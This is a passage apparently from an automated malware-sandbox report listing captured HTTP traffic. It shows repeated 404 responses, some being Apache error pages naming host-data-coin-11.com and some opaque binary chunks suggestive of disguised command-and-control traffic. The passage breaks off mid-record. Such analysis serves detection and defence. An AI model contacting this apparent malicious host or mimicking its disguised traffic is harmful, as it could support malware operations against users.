61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 